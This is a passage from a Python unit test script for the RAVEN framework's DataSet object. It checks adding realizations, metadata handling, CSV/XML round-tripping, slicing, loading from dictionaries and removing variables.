Out, res, bool, True if same\n  \"\"\"\n  if skip is None:\n    skip = []\n  res = True\n  if abs(len(first) - len(second)) > len(skip):\n    res = False\n    print(\"checking answer\",comment,'|','lengths do not match:',len(first),len(second))\n  else:\n    for key,val in first.items():\n      if key in skip:\n        continue\n      if isinstance(val,(float,int,np.int64,np.int32)):\n        pres = checkFloat('',val,second[key][0],tol,update=False)\n      elif type(val).__name__ in ('str','unicode','str_','unicode_'):\n        pres = checkSame('',val,second[key][0],update=False)\n      elif isinstance(val,np.ndarray):\n        if isinstance(val[0],(float,int)):\n          pres = (val - second[key]).sum()<1e-20 #necessary due to roundoff\n        else:\n          pres = val == second[key]\n      elif isinstance(val,xr.DataArray):\n        if isinstance(val.item(0),(float,int)):\n          pres = (val - second[key]).sum()<1e-20 #necessary due to roundoff\n        else:\n          pres = val.equals(second[key])\n      else:\n        raise TypeError(type(val))\n      if not pres:\n        print('checking dict',comment,'|','entry \"{}\" does not match: {} != {}'.format(key,first[key],second[key]))\n        res = False\n  if update:\n    if res:\n      results[\"pass\"] += 1\n    else:\n      results[\"fail\"] += 1\n  return res\n\ndef checkNone(comment,entry,update=True):\n  \"\"\"\n    Checks if entry is None.\n    @ In, comment, string, a comment printed out if it fails\n    @ In, entry, object, to test if against None\n    @ In, update, bool, optional, if False then don't update results counter\n    @ Out, res, bool, True if None\n  \"\"\"\n  res = entry is None\n  if update:\n    if res:\n      results[\"pass\"] += 1\n    else:\n      print(\"checking answer\",comment,'|','\"{}\" is not None!'.format(entry))\n      results[\"fail\"] += 1\n\ndef checkFails(comment,errstr,function,update=True,args=None,kwargs=None):\n  \"\"\"\n    Checks if expected error occurs\n    @ In, comment, string, a comment printed out if it fails\n    @ In, errstr, str, expected fail message\n    @ In, function, method, method to run to test for failure\n    @ In, update, bool, optional, if False then don't update results counter\n    @ In, args, list, arguments to pass to function\n    @ In, kwargs, dict, keyword arguments to pass to function\n    @ Out, res, bool, True if failed as expected\n  \"\"\"\n  print('Error testing ...')\n  if args is None:\n    args = []\n  if kwargs is None:\n    kwargs = {}\n  try:\n    function(*args,**kwargs)\n    res = False\n    msg = 'Function call did not error!'\n  except Exception as e:\n    res = checkSame('',e.args[0],errstr,update=False)\n    if not res:\n      msg = 'Unexpected error message.  \\n    Received: \"{}\"\\n    Expected: \"{}\"'.format(e.args[0],errstr)\n  if update:\n    if res:\n      results[\"pass\"] += 1\n      print(' ... end Error testing (PASSED)')\n    else:\n      print(\"checking error\",comment,'|',msg)\n      results[\"fail\"] += 1\n      print(' ... end Error testing (FAILED)')\n  print('')\n  return res\n\n\ndef formatRealization(rlz):\n  \"\"\"\n    Converts types of each input.\n    @ In, rlz, dict, var:val\n    @ Out, rlz, dict, formatted\n  \"\"\"\n  for k,v in rlz.items():\n    rlz[k] = np.atleast_1d(v)\n\n######################################\n#            CONSTRUCTION            #\n######################################\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a,b,c'))\nxml.append(createElement('Output',text='x,y,z'))\nxml.append(createElement('Index',attrib={'var':'time'},text='c,y'))\n\n# check construction\ndata = DataObjects.DataSet()\n# inputs, outputs\ncheckSame('DataSet __init__ name',data.name,'DataSet')\ncheckSame('DataSet __init__ print tag',data.printTag,'DataSet')\ncheckNone('DataSet __init__ _data',data._data)\ncheckNone('DataSet __init__ _collector',data._collector)\n\n# check initialization\ndata.messageHandler = mh\ndata._readMoreXML(xml)\n# NOTE histories are currently disabled pending future work (c,y are history vars)\ncheckArray('DataSet __init__ inp',data._inputs,['a','b','c'],str)\ncheckArray('DataSet __init__ out',data._outputs,['x','y','z'],str)\ncheckArray('DataSet __init__ all',data.vars,['a','b','c','x','y','z'],str)\ncheckNone('DataSet __init__ _data',data._data)\ncheckNone('DataSet __init__ _collector',data._collector)\n\n\n######################################\n#    SAMPLING AND APPENDING DATA     #\n######################################\n# test ND construction\nvals = np.array([[1.0,1.1,1.2],[2.0,2.1,2.2]])\nright = xr.DataArray(vals,dims=['x','time'],coords={'time':[1e-6,2e-6,3e06],'x':[1e-3,2e-3]})\ndims = ['x','time']\ncoords = {'time':[1e-6,2e-6,3e06],'x':[1e-3,2e-3]}\ntest = data.constructNDSample(vals,dims,coords)\ncheckTrue('ND instance construction',test.equals(right))\n\n# append some data to get started\n# TODO expand this to ND not just History\ndata.addExpectedMeta(['prefix'])\nrlz0 = {'a': 1.0,\n        'b': 2.0,\n        'c': np.array([3.0, 3.1, 3.2]),\n        'x': 4.0,\n        'y': np.array([5.0, 5.1, 5.2]),\n        'prefix': 'first',\n        'time':np.array([3.1e-6,3.2e-6,3.3e-6]),\n       }\nrlz1 = {'a' :11.0,\n        'b': 12.0,\n        'c': [13.0, 13.1, 13.2],\n        'x': 14.0,\n        'y': [15.0, 15.1, 15.2],\n        'z': 16.0,\n        'prefix': 'second',\n        'time':[13.1e-6,13.2e-6,13.3e-6],\n       }\nrlz2 = {'a' :21.0,\n        'b': 22.0,\n        'c': [23.0, 23.1, 23.2],\n        'x': 24.0,\n        'y': [25.0, 25.1, 25.2],\n        'z': 26.0,\n        'prefix': 'third',\n        'time':[23.1e-6,23.2e-6,23.3e-6],\n       }\nformatRealization(rlz0)\nformatRealization(rlz1)\nformatRealization(rlz2)\n# test missing data\nrlzMissing = dict(rlz0)\nrlz0['z'] = 6.0\nformatRealization(rlz0)\ncheckFails('DataSet addRealization err missing','Provided realization does not have all requisite values for object \\\"DataSet\\\": \\\"z\\\"',data.addRealization,args=[rlzMissing])\n# bad formatting\nrlzFormat = dict(rlz0)\nrlzFormat['c'] = list(rlzFormat['c'])\ncheckFails('DataSet addRealization err format','Realization was not formatted correctly for \"DataSet\"! See warnings above.',data.addRealization,args=[rlzFormat])\n# test appending\ndata.addRealization(dict(rlz0))\n\n\n# get realization by index, from collector\ncheckRlz('Dataset append 0',data.realization(index=0),rlz0,skip=['time'])\n# try to access the inaccessible\ncheckFails('DataSet get nonexistant realization by index','DataSet: Requested index \"1\" but only have 1 entries (zero-indexed)!',data.realization,kwargs={'index':1})\n# add more data\ndata.addRealization(dict(rlz1))\ndata.addRealization(dict(rlz2))\n# get realization by index\ncheckRlz('Dataset append 1 idx 0',data.realization(index=0),rlz0,skip=['time'])\ncheckRlz('Dataset append 1 idx 1',data.realization(index=1),rlz1,skip=['time'])\ncheckRlz('Dataset append 1 idx 2',data.realization(index=2),rlz2,skip=['time'])\n######################################\n#      GET MATCHING REALIZATION      #\n######################################\nm,match = data.realization(matchDict={'a':11.0})\ncheckSame('Dataset append 1 match index',m,1)\ncheckRlz('Dataset append 1 match',match,rlz1,skip=['time'])\nidx,rlz = data.realization(matchDict={'x':1.0})\ncheckSame('Dataset find bogus match index',idx,3)\ncheckNone('Dataset find bogus match',rlz)\n# TODO more checks on reading collector, writing to file, etc\n\n######################################\n#        COLLAPSING DATA SET         #\n######################################\n# collapse dataset\ndata.asDataset()\n# check sample tag IDs\ncheckArray('Dataset first collapse sample IDs',data._data['RAVEN_sample_ID'].values,[0,1,2],float)\n# check time coordinate\ntimes = [ 3.1e-6, 3.2e-6, 3.3e-6,\n         13.1e-6,13.2e-6,13.3e-6,\n         23.1e-6,23.2e-6,23.3e-6]\ncheckArray('Dataset first collapse \"time\"',data._data['time'].values,times,float)\n# check values for scalars \"a\"\ncheckArray('Dataset first collapse \"a\"',data._data['a'].values,[1.0,11.0,21.0],float)\n# check values for timeset \"c\"\nc = np.array(\n    [           [ 3.0, 3.1, 3.2]+[np.nan]*6,\n     [np.nan]*3+[13.0,13.1,13.2]+[np.nan]*3,\n     [np.nan]*6+[23.0,23.1,23.2]           ])\ncheckArray('Dataset first collapse \"c\" 0',data._data['c'].values[0],c[0],float)\ncheckArray('Dataset first collapse \"c\" 1',data._data['c'].values[1],c[1],float)\ncheckArray('Dataset first collapse \"c\" 2',data._data['c'].values[2],c[2],float)\n# check values for timeset \"y\"\ny = np.array(\n    [           [ 5.0, 5.1, 5.2]+[np.nan]*6,\n     [np.nan]*3+[15.0,15.1,15.2]+[np.nan]*3,\n     [np.nan]*6+[25.0,25.1,25.2]           ])\ncheckArray('Dataset first collapse \"y\" 0',data._data['y'].values[0],y[0],float)\ncheckArray('Dataset first collapse \"y\" 1',data._data['y'].values[1],y[1],float)\ncheckArray('Dataset first collapse \"y\" 2',data._data['y'].values[2],y[2],float)\n# check values for metadata prefix (unicode, not float)\ncheckArray('Dataset first collapse \"prefix\"',data._data['prefix'].values,['first','second','third'],str)\n\n# get dimensions\ncheckSame('Dataset getDimensions \"None\" num entries',len(data.getDimensions()),7)\ncheckArray('Dataset getDimensions \"None\" entry \"c\"',data.getDimensions()['c'],['time'],str)\ncheckArray('Dataset getDimensions \"c\"',data.getDimensions('c')['c'],['time'],str)\ncheckSame('Dataset getDimensions \"inp\" num entries',len(data.getDimensions('input')),3)\ncheckArray('Dataset getDimensions \"inp\" entry \"c\"',data.getDimensions('input')['c'],['time'],str)\ncheckSame('Dataset getDimensions \"out\" num entries',len(data.getDimensions('output')),3)\ncheckArray('Dataset getDimensions \"out\" entry \"y\"',data.getDimensions('output')['y'],['time'],str)\ncheckSame('Dataset getDimensions \"dummy\" num entries',len(data.getDimensions('dummy')),1)\n######################################\n#     SAMPLING AFTER COLLAPSING      #\n######################################\n# take a couple new samples to test simultaneous collector and data\n# use the same time stamps as rlz0 to test same coords\nrlz3 = {'a' :31.0,\n        'b': 32.0,\n        'c': [33.0, 33.1, 33.2],\n        'x': 34.0,\n        'y': [35.0, 35.1, 35.2],\n        'z': 36.0,\n        'prefix': 'fourth',\n        'time':[ 3.1e-6, 3.2e-6, 3.3e-6],\n       }\nformatRealization(rlz3)\ndata.addRealization(dict(rlz3))\n# get new entry (should be in the collector, but we shouldn't care)\ncheckRlz('Dataset append 2 idx 3',data.realization(index=3),rlz3,skip=['time'])\n# make sure old entry is still there\ncheckRlz('Dataset append 2 idx 1',data.realization(index=1),rlz1,skip=['time'])\n# test grabbing negative indices\ncheckRlz('Dataset append 2 idx -1',data.realization(index=-1),rlz3,skip=['time'])\ncheckRlz('Dataset append 2 idx -3',data.realization(index=-3),rlz1,skip=['time'])\n\ndata.asDataset()\n# check new sample IDs\ncheckArray('Dataset first collapse sample IDs',data._data['RAVEN_sample_ID'].values,[0,1,2,3],float)\n# \"times\" should not have changed\ntimes = [ 3.1e-6, 3.2e-6, 3.3e-6,\n         13.1e-6,13.2e-6,13.3e-6,\n         23.1e-6,23.2e-6,23.3e-6]\n#checkArray('Dataset first collapse \"time\"',data._data['time'].values,times,float)\n# check new \"a\"\ncheckArray('Dataset first collapse \"a\"',data._data['a'].values,[1.0,11.0,21.0,31.0],float)\n# check new \"c\"\nc = np.array(\n    [           [ 3.0, 3.1, 3.2]+[np.nan]*6,\n     [np.nan]*3+[13.0,13.1,13.2]+[np.nan]*3,\n     [np.nan]*6+[23.0,23.1,23.2]           ,\n                [33.0,33.1,33.2]+[np.nan]*6])\ncheckArray('Dataset post collapse \"c\" 0',data._data['c'].values[0],c[0],float)\ncheckArray('Dataset post collapse \"c\" 1',data._data['c'].values[1],c[1],float)\ncheckArray('Dataset post collapse \"c\" 2',data._data['c'].values[2],c[2],float)\ncheckArray('Dataset post collapse \"c\" 3',data._data['c'].values[3],c[3],float)\n# check string prefix\ncheckArray('Dataset post collapse \"prefix\"',data._data['prefix'].values,['first','second','third','fourth'],str)\n\n# check removing variable from collector and data\nrlz4 = {'a' :41.0,\n        'b': 42.0,\n        'c': [43.0, 43.1, 43.2],\n        'x': 44.0,\n        'y': [45.0, 45.1, 45.2],\n        'z': 46.0,\n        'prefix': 'five',\n        'time':[ 4.1e-6, 4.2e-6, 4.3e-6],\n       }\n######################################\n#         GENERAL META DATA          #\n######################################\n# add scalar metadata\ndata.addMeta('TestPP',{'firstVar':{'scalarMetric1':10.0,\n                                   'scalarMetric2':'20',\n                                   'vectorMetric':{'a':1,'b':'2','c':u'3','d':4.0}\n                                   },\n                       'secondVar':{'scalarMetric1':100.}\n                      })\n# directly test contents, without using API\ncheckSame('Metadata top level entries',len(data._meta),2)\ntreePP = data._meta['TestPP'].getRoot()\ncheckSame('Metadata TestPP',treePP.tag,'TestPP')\nfirst,second = (c for c in treePP) # TODO always same order?\n\ncheckSame('Metadata TestPP/firstVar tag',first.tag,'firstVar')\nsm1,sm2,vm = (c for c in first) # TODO always same order?\ncheckSame('Metadata TestPP/firstVar/scalarMetric1 tag',sm1.tag,'scalarMetric1')\ncheckSame('Metadata TestPP/firstVar/scalarMetric1 value',sm1.text,'10.0')\ncheckSame('Metadata TestPP/firstVar/scalarMetric2 tag',sm2.tag,'scalarMetric2')\ncheckSame('Metadata TestPP/firstVar/scalarMetric2 value',sm2.text,'20')\ncheckSame('Metadata TestPP/firstVar/vectorMetric tag',vm.tag,'vectorMetric')\nfor child in vm:\n  if child.tag == 'a':\n    checkSame('Metadata TestPP/firstVar/vectorMetric/a value',child.text,'1')\n  elif child.tag == 'b':\n    checkSame('Metadata TestPP/firstVar/vectorMetric/b value',child.text,'2')\n  elif child.tag == 'c':\n    checkSame('Metadata TestPP/firstVar/vectorMetric/c value',child.text,'3')\n  elif child.tag == 'd':\n    checkSame('Metadata TestPP/firstVar/vectorMetric/d value',child.text,'4.0')\n  else:\n    checkTrue('Unexpected node in TestPP/firstVar/vectorMetric nodes: '+child.text,False)\n\ncheckSame('Metadata TestPP/secondVar tag',second.tag,'secondVar')\ncheckSame('Metadata TestPP/secondVar entries',len(second),1)\nchild = second[0]\ncheckSame('Metadata TestPP/secondVar/scalarMetric1 tag',child.tag,'scalarMetric1')\ncheckSame('Metadata TestPP/secondVar/scalarMetric1 value',child.text,'100.0')\n\ntreeDS = data._meta['DataSet'].getRoot()\ncheckSame('Metadata DataSet',treeDS.tag,'DataSet')\ncheckSame('Metadata DataSet entries',len(treeDS),2)\ndims,general = treeDS[:]\ncheckSame('Metadata DataSet/dims tag',dims.tag,'dims')\ncheckSame('Metadata DataSet/dims entries',len(dims),2)\nc,y = dims[:]\ncheckSame('Metadata DataSet/dims/y tag',y.tag,'y')\ncheckSame('Metadata DataSet/dims/y value',y.text,'time')\ncheckSame('Metadata DataSet/dims/c tag',c.tag,'c')\ncheckSame('Metadata DataSet/dims/c value',c.text,'time')\ncheckSame('Metadata DataSet/general tag',general.tag,'general')\ncheckSame('Metadata DataSet/general entries',len(general),4)\ninputs, outputs, pointwise_meta, sampleTag = general[:]\ncheckSame('Metadata DataSet/general/inputs tag',inputs.tag,'inputs')\ncheckSame('Metadata DataSet/general/inputs value',inputs.text,'a,b,c')\ncheckSame('Metadata DataSet/general/outputs tag',outputs.tag,'outputs')\ncheckSame('Metadata DataSet/general/outputs value',outputs.text,'x,y,z')\ncheckSame('Metadata DataSet/general/pointwise_meta tag',pointwise_meta.tag,'pointwise_meta')\ncheckSame('Metadata DataSet/general/pointwise_meta value',pointwise_meta.text,'prefix')\ncheckSame('Metadata DataSet/general/sampleTag tag',sampleTag.tag,'sampleTag')\ncheckSame('Metadata DataSet/general/sampleTag value',sampleTag.text,'RAVEN_sample_ID')\n\n# use getters to access contents (using API)\nmeta = data.getMeta(pointwise=True,general=True)\ncheckArray('Metadata get keys',sorted(meta.keys()),['DataSet','TestPP','prefix'],str)\n# fail to find pointwise in general\ncheckFails('Metadata get missing general','Some requested keys could not be found in the requested metadata: (prefix)',data.getMeta,kwargs=dict(keys=['prefix'],general=True))\n# fail to find general in pointwise\ncheckFails('Metadata get missing general','Some requested keys could not be found in the requested metadata: (DataSet)',data.getMeta,kwargs=dict(keys=['DataSet'],pointwise=True))\n# check that poorly-aligned set checks out as such\ncheckTrue('Check misaligned data is not aligned',not data.checkIndexAlignment())\n# check aligned data too\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a'))\nxml.append(createElement('Output',text='b'))\nxml.append(createElement('Index',attrib={'var':'t'},text='b'))\ndataAlign = DataObjects.DataSet()\ndataAlign.messageHandler = mh\ndataAlign._readMoreXML(xml)\nrlz = {'a':np.array([1.9]),\n       'b':np.array([3.4, 2.4, 6.5]),\n       't':np.array([0.4, 0.9, 10])}\ndataAlign.addRealization(rlz)\nrlz = {'a':np.array([7.9]),\n       'b':np.array([0.3, -0.8, 9.7]),\n       't':np.array([0.4, 0.9, 10])}\ndataAlign.addRealization(rlz)\ncheckTrue('Check aligned data is aligned', dataAlign.checkIndexAlignment('t'))\n\n######################################\n#        READ/WRITE FROM FILE        #\n######################################\n# to netCDF\n# NOTE: due to a cool little seg fault error in netCDF4 versions less than 1.3.1, we cannot test it currently.\n# Leaving implementation for the future.\n#netname = 'DataSetUnitTest.nc'\n#data.write(netname,style='netcdf',format='NETCDF4') # WARNING this will fail if netCDF4 not installed\n#checkTrue('Wrote to netcdf',os.path.isfile(netname))\n## read fresh from netCDF\n#dataNET = DataSet.DataSet()\n#dataNET.messageHandler = mh\n#dataNET.load(netname,style='netcdf')\n# validity of load is checked below, in ACCESS USING GETTERS section\n\n# to CSV\n## test writing to file\ncsvname = 'DataSetUnitTest'\ndata.write(csvname,style='CSV',**{'what':'a,b,c,x,y,z,RAVEN_sample_ID,prefix'})\n## test metadata written\ncorrect = ['<DataObjectMetadata name=\"DataSet\">',\n           '  <DataSet type=\"Static\">',\n           '    <dims>',\n           '      <c>time</c>',\n           '      <y>time</y>',\n           '    </dims>',\n           '    <general>',\n           '      <inputs>a,b,c</inputs>',\n           '      <outputs>x,y,z</outputs>',\n           '      <pointwise_meta>prefix</pointwise_meta>',\n           '      <sampleTag>RAVEN_sample_ID</sampleTag>',\n           '    </general>',\n           '  </DataSet>',\n           '  ',\n           '  <TestPP type=\"Static\">',\n           '    <firstVar>',\n           '      <scalarMetric1>10.0</scalarMetric1>',\n           '      <scalarMetric2>20</scalarMetric2>',\n           '      <vectorMetric>',\n           '        <a>1</a>',\n           '        <b>2</b>',\n           '        <c>3</c>',\n           '        <d>4.0</d>',\n           '      </vectorMetric>',\n           '    </firstVar>',\n           '    <secondVar>',\n           '      <scalarMetric1>100.0</scalarMetric1>',\n           '    </secondVar>',\n           '  </TestPP>',\n           '  ',\n           '</DataObjectMetadata>']\n# read in XML\nlines = open(csvname+'.xml','r').readlines()\n# remove line endings\nfor l,line in enumerate(lines):\n  lines[l] = line.rstrip(os.linesep).rstrip('\\n')\n# check\ncheckArray('CSV XML',lines,correct,str)\n## read from CSV/XML\nxml = createElement('DataSet',attrib={'name':'csv'})\n# scramble the IO space, also skip 'z' for testing\nxml.append(createElement('Input',text='a,x,y'))\nxml.append(createElement('Output',text='c,b'))\nxml.append(createElement('Index',attrib={'var':'t'},text='y,c'))\ndataCSV = DataObjects.DataSet()\ndataCSV.messageHandler = mh\ndataCSV._readMoreXML(xml)\ndataCSV.load(csvname,style='CSV')\n\nfor var in data.getVars():\n  if var == 'z':\n    # not included in XML input specs, so should be left out\n    checkFails('CSV var z','z',dataCSV.getVarValues,args=var)\n  elif isinstance(data.getVarValues(var).item(0),(float,int)):\n    checkTrue('CSV var {}'.format(var),(dataCSV._data[var] - data._data[var]).sum()<1e-20) #necessary due to roundoff\n  else:\n    checkTrue('CSV var {}'.format(var),bool((dataCSV._data[var] == data._data[var]).prod()))\n\n# clean up temp files\nos.remove(csvname+'.csv')\nos.remove(csvname+'.xml')\n\n\n######################################\n#        ACCESS USING GETTERS        #\n######################################\n# test contents of data in parallel\n# by index\ncheckRlz('Dataset full origin idx 1',data.realization(index=1),rlz1,skip=['time'])\n#checkRlz('Dataset full netcdf idx 1',dataNET.realization(index=1),rlz1,skip=['time'])\ncheckRlz('Dataset full csvxml idx 1',dataCSV.realization(index=1),rlz1,skip=['time','z'])\n# by match\nidx,rlz = data.realization(matchDict={'prefix':'third'})\ncheckSame('Dataset full origin match idx',idx,2)\ncheckRlz('Dataset full origin match',rlz,rlz2,skip=['time'])\n#idx,rlz = dataNET.realization(matchDict={'prefix':'third'})\n#checkSame('Dataset full netcdf match idx',idx,2)\n#checkRlz('Dataset full netCDF match',rlz,rlz2,skip=['time'])\nidx,rlz = dataCSV.realization(matchDict={'prefix':'third'})\ncheckSame('Dataset full csvxml match idx',idx,2)\ncheckRlz('Dataset full csvxml match',rlz,rlz2,skip=['time','z'])\n# TODO metadata checks?\n\n## remove files, for cleanliness (comment out to debug)\n## first have to close file (for Windows' sake)\n#dataNET._data.close()\n#os.remove(netname)\n\n######################################\n#        ADDING NEW VARIABLE         #\n######################################\nf = np.array([9., 19., 29., 39.])\ndata.addVariable('f',f)\nrlzAdd = dict(rlz2)\nrlzAdd['f'] = np.atleast_1d(29.)\ncheckArray('Dataset add variable column',data.asDataset()['f'].values,f,float)\ncheckRlz('Dataset add variable rlz 2',data.realization(index=2),rlzAdd,skip='time')\n\n\n######################################\n#           SLICE BY INDEX           #\n######################################\nslices = data.sliceByIndex('time')\ncheckFloat('Index slicing \"time\" [2] \"time\"',slices[2]['time'].item(0),3.3e-6)\ncheckArray('Index slicing \"time\" [2] \"a\"',slices[2]['a'].values,[1.0, 11.0, 21.0, 31.0],float)\ncheckArray('Index slicing \"time\" [2] \"c\"',slices[2]['c'].values,[3.2, np.nan, np.nan, 33.2],float)\n\nslices = data.sliceByIndex('RAVEN_sample_ID')\ncheckFloat('Index slicing sampleTag [3] sampleTag',slices[3]['RAVEN_sample_ID'].item(0),3)\ncheckFloat('Index slicing sampleTag [3] \"a\"',slices[3]['a'].values,31.0)\ncheckArray('Index slicing sampleTag [3] \"c\"',slices[3]['c'].values,[33.0,33.1,33.2,np.nan,np.nan,np.nan,np.nan,np.nan,np.nan],float)\n\n######################################\n#        CONSTRUCT FROM DICT         #\n######################################\nseed = {}\n# vector variable, 10 entries with arbitrary lengths\nseed['b'] = np.array([ np.array([1.00]),\n                       np.array([1.10, 1.11]),\n                       np.array([1.20, 1.21, 1.22]),\n                       np.array([1.30, 1.31, 1.32, 1.33]),\n                       np.array([1.40, 1.41, 1.42, 1.43, 1.44]),\n                       np.array([1.50, 1.51, 1.52, 1.53, 1.54, 1.55]),\n                       np.array([1.60, 1.61, 1.62, 1.63, 1.64, 1.65, 1.66]),\n                       np.array([1.70, 1.71, 1.72, 1.73, 1.74, 1.75, 1.76, 1.77]),\n                       np.array([1.80, 1.81, 1.82, 1.83, 1.84, 1.85, 1.86, 1.87, 1.88]),\n                       np.array([1.90, 1.91, 1.92, 1.93, 1.94, 1.95, 1.96, 1.97, 1.98, 1.99])\n                       ])\n# coordinate, as vector\nseed['t'] = np.array([ np.linspace(0,1,1),\n                       np.linspace(0,1,2),\n                       np.linspace(0,1,3),\n                       np.linspace(0,1,4),\n                       np.linspace(0,1,5),\n                       np.linspace(0,1,6),\n                       np.linspace(0,1,7),\n                       np.linspace(0,1,8),\n                       np.linspace(0,1,9),\n                       np.linspace(0,1,10) ])\n# set up data object\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a'))\nxml.append(createElement('Output',text='b'))\nxml.append(createElement('Index',attrib={'var':'t'},text='b'))\ndata = DataObjects.DataSet()\ndata.messageHandler = mh\ndata._readMoreXML(xml)\n# load with insufficient values\ncheckFails('Load from dict missing variable','Variables are missing from \"source\" that are required for data object \" DataSet \": a',data.load,args=[seed],kwargs=dict(style='dict',dims=data.getDimensions()))\n# add a scalar variable, 10 entries\nseed['a'] = np.array([1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6, 1.7, 1.8, 1.9])\n# load properly\ndata.load(seed,style='dict',dims=data.getDimensions())\n# test contents\ncheckArray('load from dict \"a\"',data.asDataset()['a'].values,seed['a'],float)\ncheckArray('load from dict \"b\"[3]',data.asDataset().isel({'RAVEN_sample_ID':3},True)['b'].dropna('t').values,seed['b'][3],float)\nrlz = data.realization(index=2)\ncheckFloat('load from dict rlz 2 \"a\"',rlz['a'],1.2)\ncheckArray('load from dict rlz 2 \"b\"',rlz['b'].values,[1.2,1.21,1.22],float)\n# Here I am testing the functionality that converts the dataObject into a dict\nconvertedDict = data.asDataset(outType='dict')\n# check that the dictionary entries are the same\ncheckArray('asDict \"a\"',seed['a'],convertedDict['data']['a'],float)\ncheckArray('asDict \"b[0]\"',convertedDict['data']['b'][0],seed['b'][0],float)\ncheckArray('asDict \"b[4]\"',convertedDict['data']['b'][4],seed['b'][4],float)\ncheckArray('asDict \"b[9]\"',convertedDict['data']['b'][9],seed['b'][9],float)\ncheckArray('asDict \"t[0]\"',convertedDict['data']['t'][0],seed['t'][0],float)\ncheckArray('asDict \"t[4]\"',convertedDict['data']['t'][4],seed['t'][4],float)\ncheckArray('asDict \"t[9]\"',convertedDict['data']['t'][9],seed['t'][9],float)\ncheckSame('asDict dims \"a\"',convertedDict['dims']['a'],[])\ncheckSame('asDict dims \"b\"',convertedDict['dims']['b'],['t'])\n# TODO check metadata?\n# double-check there's no errors using this to construct a new dataset (full loop)\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a'))\nxml.append(createElement('Output',text='b'))\nxml.append(createElement('Index',attrib={'var':'t'},text='b'))\ndataRe = DataObjects.DataSet()\ndataRe.messageHandler = mh\ndataRe._readMoreXML(xml)\ndataRe.load(convertedDict['data'],style='dict',dims=convertedDict['dims'])\n# use exact same tests as originally loading from dict, but for dataRe\ncheckArray('load from dict \"a\"',dataRe.asDataset()['a'].values,seed['a'],float)\ncheckArray('load from dict \"b\"[3]',dataRe.asDataset().isel({'RAVEN_sample_ID':3},True)['b'].dropna('t').values,seed['b'][3],float)\nrlz = dataRe.realization(index=2)\ncheckFloat('load from dict rlz 2 \"a\"',rlz['a'],1.2)\ncheckArray('load from dict rlz 2 \"b\"',rlz['b'].values,[1.2,1.21,1.22],float)\n\n# construct from dict, but data is provided in numpy ND array instead of np array of np array objects\nseed = {}\nseed['a'] = np.array([0., 1., 2., 3.])\nseed['b'] = np.array([ [0.1, 0.2, 0.3],\n                       [1.1, 1.2, 1.3],\n                       [2.1, 2.2, 2.3],\n                       [3.1, 3.2, 3.3]])\nseed['t'] = np.array([ [1e-6,2e-6,3e-6],\n                       [1e-6,2e-6,3e-6],\n                       [1e-6,2e-6,3e-6],\n                       [1e-6,2e-6,3e-6]])\n# set up data object\nxml = createElement('DataSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a'))\nxml.append(createElement('Output',text='b'))\nxml.append(createElement('Index',attrib={'var':'t'},text='b'))\ndata = DataObjects.DataSet()\ndata.messageHandler = mh\ndata._readMoreXML(xml)\n# load\ndata.load(seed,style='dict',dims=data.getDimensions())\n# check data\ncheckArray('load from dict of ND, \"a\"',data.asDataset()['a'].values,seed['a'],float)\ncheckArray('load from dict of ND, \"b[0]\"',data.asDataset()['b'][0].values,seed['b'][0],float)\ncheckArray('load from dict of ND, \"b[1]\"',data.asDataset()['b'][1].values,seed['b'][1],float)\ncheckArray('load from dict of ND, \"b[2]\"',data.asDataset()['b'][2].values,seed['b'][2],float)\ncheckArray('load from dict of ND, \"b[3]\"',data.asDataset()['b'][3].values,seed['b'][3],float)\n\n\n######################################\n#        REMOVING VARIABLES          #\n######################################\n# first, add a sample so the variable is also in the collector\nrlz = {'a':np.atleast_1d(2.0), 'b':np.array([2.0,2.1,2.2]), 't':np.linspace(0,1,3)}\ndata.addRealization(rlz)\ndel rlz['b']\ndel rlz['t']\ncheckArray('Remove variable starting vars',data.getVars(),['a','b'],str)\ndata.remove(variable='b')\ncheckArray('Remove variable remaining vars',data.getVars(),['a'],str)\ncheckRlz('Remove variable rlz -1',data.realization(index=-1),rlz)\n# collapse and re-check\ndata.asDataset()\ncheckArray('Remove variable remaining vars',data.getVars(),['a'],str)\ncheckRlz('Remove variable rlz -1, ds',data.realization(index=-1),rlz)\n# check we can add a new realization\ndata.addRealization({'a':np.array([2.1]), 't':np.array([0])})\n\n######################################\n#          CLUSTER LABELING          #\n######################################\n# as used by the Optimizer, for example.  We store as a flat point set, then\n#   divide up by cluster label for printing.\n# create data object\nxml = createElement('PointSet',attrib={'name':'test'})\nxml.append(createElement('Input',text='a,b'))\nxml.append(createElement('Output',text='x,y'))\ndata = DataObjects.DataSet()\ndata.messageHandler = mh\ndata._readMoreXML(xml)\n# register \"trajID\" (cluster label) and \"varsUpdate\" (iteration number/monotonically increasing var) as meta\ndata.addExpectedMeta(['trajID','varsUpdate'])\n# add two trajectories to get started, like starting two trajectories\nrlz0_0 = {'trajID': np.array([1]),\n          'a': np.array([  1.0]),\n          'b': np.array([  5.0]),\n          'x': np.array([ 10.0]),\n          'y': np.array([100.0]),\n          'varsUpdate': np.array([0])}\nrlz1_0 = {'trajID': np.array([2]),\n          'a': np.array([  2.0]),\n          'b': np.array([  6.0]),\n          'x': np.array([ 20.0]),\n          'y': np.array([200.0]),\n          'varsUpdate': np.array([0])}\ndata.addRealization(rlz0_0)\ndata.addRealization(rlz1_0)\ncheckRlz('Cluster initial traj 1',data.realization(index=0),rlz0_0,skip='varsUpdate')\ncheckRlz('Cluster initial traj 2',data.realization(index=1),rlz1_0,skip='varsUpdate')\n# now sample a new trajectory point, going into the collector\nrlz0_1 = {'trajID': np.array([1]),\n          'a': np.array([  1.1]),\n          'b': np.array([  5.1]),\n          'x': np.array([ 10.1]),\n          'y': np.array([100.1]),\n          'varsUpdate': np.array([1])}\ndata.addRealization(rlz0_1)\ncheckRlz('Cluster extend traj 1[0]',data.realization(matchDict={'trajID':1,'varsUpdate':0})[1],rlz0_0,skip='varsUpdate')\ncheckRlz('Cluster extend traj 1[1]',data.realization(matchDict={'trajID':1,'varsUpdate':1})[1],rlz0_1,skip='varsUpdate')\ncheckRlz('Cluster extend traj 2[0]',data.realization(matchDict={'trajID':2,'varsUpdate':0})[1],rlz1_0,skip='varsUpdate')\n# now collapse and then append to the data\ndata.asDataset()\nrlz1_1 = {'trajID': np.array([    2]),\n               